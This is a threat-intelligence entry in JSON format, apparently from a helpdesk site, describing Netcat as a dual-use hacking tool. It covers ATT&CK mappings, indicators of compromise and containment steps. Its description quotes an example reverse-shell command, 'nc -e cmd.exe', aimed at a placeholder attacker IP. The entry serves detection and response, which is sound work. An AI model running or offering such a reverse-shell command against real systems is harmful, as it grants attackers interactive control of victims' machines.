{
  "family": "netcat",
  "sample_count": 6,
  "category": "advanced_threat",
  "description": "HackTool:Win32/Netcat (often abbreviated as `nc` or `ncat`) is a classic example of a **'Dual-Use' or 'Living off the Land' (LotL)** utility. Netcat is a command-line tool utilized for reading and writing data across network connections using TCP or UDP. While legitimately used by network administrators for port scanning, banner grabbing, and network debugging, it is almost universally flagged by AV engines as a HackTool or Riskware because advanced threat actors heavily rely on it to establish covert command-and-control channels and reverse shells.<br><br><b>Understanding the Netcat Threat</b><br>To an IT administrator, Netcat is a 'Swiss Army Knife' for networking. To a SOC analyst, the unauthorized presence of Netcat (often renamed to evade simple checks, e.g., `svchost.exe` but with the Netcat hash) is a massive red flag indicating a severe perimeter breach. Attackers use it because it is small, reliable, and doesn't require complex malware to achieve interactive access to a compromised host.<br><br><b>Execution and Reverse Shell Mechanics</b><br>Attackers typically drop Netcat onto a system *after* gaining initial access via an exploit or stolen credentials (`T1105`). The most dangerous use of Netcat is the creation of a 'Reverse Shell' (`T1059.003`). The attacker runs a listener on their C2 server. On the victim machine, they execute Netcat with the `-e` (execute) flag (e.g., `nc -e cmd.exe [Attacker_IP] [Port]`). This binds the Windows command prompt (`cmd.exe`) to the network connection and sends it back to the attacker (`T1071.001`), granting them a fully interactive, remote command line session to execute further commands, escalate privileges, and pivot through the network.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is complete, interactive remote control of the compromised endpoint. Host-based IoCs include EDR alerts for `cmd.exe` or `powershell.exe` being spawned as a child process of an unknown executable, or `cmd.exe` establishing an outbound network connection. Network IoCs include anomalous outbound TCP/UDP connections on non-standard ports (like 4444, 8080) going to unknown external IP addresses, often characterized by long-lived, low-bandwidth sessions indicative of an interactive shell.",
  "cta": "Published by the SystemHelpdesk team.",
  "aliases": [],
  "enrichment_level": "expert-seo",
  "faq": [],
  "faq_count": 0,
  "mitre_attack": [
    "T1059.003",
    "T1041",
    "T1105",
    "T1071.001"
  ],
  "cisa_advisory": null,
  "last_updated": "2026-06-09",
  "mitre_attack_detail": [
    {
      "id": "T1059.003",
      "name": "Command and Scripting Interpreter: Windows Command Shell (Binding cmd.exe to a socket)",
      "tactic": "Execution"
    },
    {
      "id": "T1071.001",
      "name": "Application Layer Protocol: Web Protocols (Establishing reverse shells)",
      "tactic": "Command and Control"
    },
    {
      "id": "T1105",
      "name": "Ingress Tool Transfer (Dropping Netcat post-compromise)",
      "tactic": "Command and Control"
    },
    {
      "id": "T1041",
      "name": "Exfiltration Over C2 Channel",
      "tactic": "Exfiltration"
    }
  ],
  "containment_steps": [
    "Immediately sever the endpoint's network connection to terminate the active reverse shell session and block attacker control.",
    "If Netcat was detected, assume the endpoint is fully compromised and the attacker has interactive access; initiate a full incident response investigation.",
    "Use EDR to trace back the execution chain: How was Netcat dropped? What process executed it? This will identify the initial vulnerability (e.g., a vulnerable web server).",
    "Review firewall logs for the destination IP address of the Netcat connection and block it across the enterprise."
  ],
  "what_to_avoid": [
    "Do not whitelist Netcat globally just because IT uses it; if it must be used, restrict its execution via AppLocker to specific administrator directories.",
    "Avoid assuming the attack is over if you delete the Netcat binary; the attacker likely established secondary, stealthier persistence mechanisms while they had the shell."
  ],
  "target_industries": [
    "Global / Opportunistic"
  ],
  "motivation": "Opportunistic",
  "threat_actors": [
    "Unknown / Cybercriminal"
  ],
  "target_geographies": [
    "Global"
  ]
}